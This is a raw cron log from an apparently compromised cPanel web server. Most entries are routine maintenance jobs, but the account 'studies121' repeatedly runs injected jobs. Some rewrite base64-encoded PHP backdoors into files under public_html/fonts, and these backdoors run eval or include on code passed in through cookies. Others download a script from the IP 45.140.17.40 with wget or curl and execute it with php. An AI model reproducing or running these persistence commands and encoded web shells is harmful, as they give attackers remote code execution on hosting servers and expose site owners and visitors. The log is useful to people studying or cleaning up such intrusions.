Sep 12 01:05:02 ip-184-168-122-23 CROND[32379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:05:02 ip-184-168-122-23 CROND[32376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:05:02 ip-184-168-122-23 CROND[32378]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:05:02 ip-184-168-122-23 CROND[32380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:06:01 ip-184-168-122-23 CROND[32541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:06:01 ip-184-168-122-23 CROND[32542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:06:01 ip-184-168-122-23 CROND[32545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:06:01 ip-184-168-122-23 CROND[32544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:06:01 ip-184-168-122-23 CROND[32547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:07:02 ip-184-168-122-23 CROND[32640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:07:02 ip-184-168-122-23 CROND[32641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:07:02 ip-184-168-122-23 CROND[32642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:07:02 ip-184-168-122-23 CROND[32645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:08:01 ip-184-168-122-23 CROND[32733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:08:01 ip-184-168-122-23 CROND[32735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:08:01 ip-184-168-122-23 CROND[32734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:08:01 ip-184-168-122-23 CROND[32736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:08:01 ip-184-168-122-23 CROND[32737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:09:01 ip-184-168-122-23 CROND[370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:09:01 ip-184-168-122-23 CROND[371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:09:01 ip-184-168-122-23 CROND[372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:09:01 ip-184-168-122-23 CROND[376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:09:01 ip-184-168-122-23 CROND[375]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 01:10:02 ip-184-168-122-23 CROND[478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:10:02 ip-184-168-122-23 CROND[477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:10:02 ip-184-168-122-23 CROND[480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:10:02 ip-184-168-122-23 CROND[483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:10:02 ip-184-168-122-23 CROND[479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:10:02 ip-184-168-122-23 CROND[481]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:10:02 ip-184-168-122-23 CROND[482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:10:02 ip-184-168-122-23 CROND[484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:11:01 ip-184-168-122-23 CROND[669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:11:01 ip-184-168-122-23 CROND[672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:11:01 ip-184-168-122-23 CROND[674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:11:01 ip-184-168-122-23 CROND[670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:12:01 ip-184-168-122-23 CROND[772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:12:01 ip-184-168-122-23 CROND[773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:12:01 ip-184-168-122-23 CROND[775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:12:02 ip-184-168-122-23 CROND[774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:12:02 ip-184-168-122-23 CROND[776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:13:01 ip-184-168-122-23 CROND[878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:13:01 ip-184-168-122-23 CROND[881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:13:01 ip-184-168-122-23 CROND[880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:13:01 ip-184-168-122-23 CROND[882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:14:01 ip-184-168-122-23 CROND[969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:14:01 ip-184-168-122-23 CROND[972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:14:01 ip-184-168-122-23 CROND[971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:14:01 ip-184-168-122-23 CROND[973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:14:01 ip-184-168-122-23 CROND[974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:15:01 ip-184-168-122-23 CROND[1058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:15:01 ip-184-168-122-23 CROND[1062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:15:01 ip-184-168-122-23 CROND[1060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:15:01 ip-184-168-122-23 CROND[1064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:15:01 ip-184-168-122-23 CROND[1066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:15:01 ip-184-168-122-23 CROND[1063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:16:01 ip-184-168-122-23 CROND[1250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:16:01 ip-184-168-122-23 CROND[1252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:16:01 ip-184-168-122-23 CROND[1254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:16:01 ip-184-168-122-23 CROND[1253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:16:01 ip-184-168-122-23 CROND[1255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:16:01 ip-184-168-122-23 CROND[1256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:17:01 ip-184-168-122-23 CROND[1360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:17:01 ip-184-168-122-23 CROND[1361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
